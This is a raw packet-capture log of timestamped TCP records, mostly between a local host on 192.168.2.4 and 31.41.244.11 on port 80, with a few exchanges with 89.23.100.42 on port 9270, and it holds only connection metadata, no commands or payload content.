Dec 15, 2024 11:59:30.887600899 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.887662888 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.887701988 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.888708115 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.888757944 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.888813019 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.888854027 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.889879942 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.889919043 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.901468992 CET	9270	49797	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:30.901515961 CET	49797	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:31.020850897 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.020864010 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.020910025 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.020922899 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.021275997 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.021308899 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.021317005 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.021327019 CET	9270	49797	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:31.021354914 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.022413015 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.022463083 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.022659063 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.022697926 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.023597002 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.023662090 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.023684978 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.023724079 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.024772882 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.024833918 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.024859905 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.024899960 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.025943995 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.026051044 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.026261091 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.027122974 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.027189970 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.027251959 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.027297020 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.028284073 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.028335094 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.028354883 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.028394938 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.029495001 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.029546022 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.029566050 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.029612064 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.030879021 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.030956030 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.031025887 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.031066895 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.031796932 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.031841993 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.031996012 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.032979012 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.033051014 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.033076048 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.033113956 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.034133911 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.034200907 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.034269094 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.034312010 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.035348892 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.035401106 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.035594940 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.035641909 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.036501884 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.036562920 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.036613941 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.037661076 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.037718058 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.037759066 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.037800074 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.038836956 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.038889885 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.038927078 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.038965940 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.040024042 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.040071964 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.040096045 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.040132999 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.041193008 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.041241884 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.041268110 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.041307926 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.042350054 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.042398930 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.042449951 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.042500019 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.043524981 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.043582916 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.043703079 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.043742895 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.044688940 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.044745922 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.044809103 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.044847965 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.045912027 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.045962095 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.045984983 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.046044111 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.047071934 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.047123909 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.047276974 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.047323942 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.048247099 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.048295021 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.048472881 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.048516989 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.049402952 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.049452066 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.049524069 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.049563885 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.050594091 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.050642967 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.050704956 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.050744057 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.051722050 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.051773071 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.051830053 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.051915884 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.052900076 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.052947044 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.053014040 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.053050995 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.054096937 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.054136038 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.054202080 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.054244995 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.055248976 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.055289984 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.055356026 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.055403948 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.056443930 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.056571960 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.056617975 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.056658983 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.057636023 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.057689905 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.057920933 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.058760881 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.058964968 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.058973074 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.059005976 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.059978008 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.060026884 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.060100079 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.060148001 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.061155081 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.061201096 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.061227083 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.061266899 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.062315941 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.062356949 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.062412977 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.062453985 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.063468933 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.063508034 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.063524008 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.063561916 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.064677000 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.064796925 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.064826012 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.064836979 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.065937996 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.065978050 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.066024065 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.066071987 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.067234039 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.067292929 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.067322969 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.067372084 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.068165064 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.068207026 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.068269014 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.068306923 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.069331884 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.069369078 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.069454908 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.069492102 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.069644928 CET	49797	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:31.070573092 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.070611000 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.070676088 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.070714951 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.071676970 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.071716070 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.071870089 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.071916103 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.072937012 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.072984934 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.073004961 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.073038101 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.074455023 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.074496984 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.074599981 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.074635983 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.075368881 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.075412035 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.075453043 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.075489998 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.076453924 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.076489925 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.076637983 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.076674938 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.077647924 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.077675104 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.077750921 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.077785969 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.078738928 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.078773975 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.078835011 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.078876972 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.079891920 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.079926968 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.079993963 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.080029011 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.081074953 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.081110954 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.081186056 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.081222057 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.082253933 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.082288027 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.189559937 CET	9270	49797	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:31.213303089 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.213373899 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.213459015 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.213500023 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.213692904 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.213732958 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.213957071 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.213989973 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.214011908 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.214046955 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.215202093 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.215244055 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.215301037 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.215338945 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.216291904 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.216331005 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.216360092 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.216397047 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.217518091 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.217571020 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.217595100 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.217632055 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.218712091 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.218750954 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.218858957 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.218894958 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.219819069 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.219858885 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.219904900 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.219940901 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.221000910 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.221038103 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.221080065 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.221117020 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.222192049 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.222230911 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.222335100 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.222371101 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.223335028 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.223375082 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.223449945 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.223486900 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.224589109 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.224630117 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.224706888 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.224744081 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.225698948 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.225739002 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.225833893 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.225869894 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.226958990 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.227004051 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.227041006 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.227077961 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.228015900 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.228054047 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.228121996 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.228159904 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.229229927 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.229269981 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.229346991 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.229382038 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.230393887 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.230432034 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.230503082 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.230539083 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.231597900 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.231637001 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.231689930 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.231729031 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.232741117 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.232779026 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.232801914 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.232836962 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.233911037 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.233959913 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.234010935 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.234046936 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.235053062 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.235090971 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.235186100 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.235223055 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.236228943 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.236268997 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.236361027 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.236397028 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.237525940 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.237564087 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.237571955 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.237611055 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.238621950 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.238660097 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.238729954 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.238766909 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.239826918 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.239866018 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.239905119 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.239942074 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.240957975 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.240997076 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.241017103 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.241056919 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.242222071 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.242259979 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.242300034 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.242336035 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.243298054 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.243338108 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.243442059 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.243480921 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.244482994 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.244523048 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.244590044 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.244632006 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.245672941 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.245712996 CET	49805	80	192.168.2.4	31.41.244.11
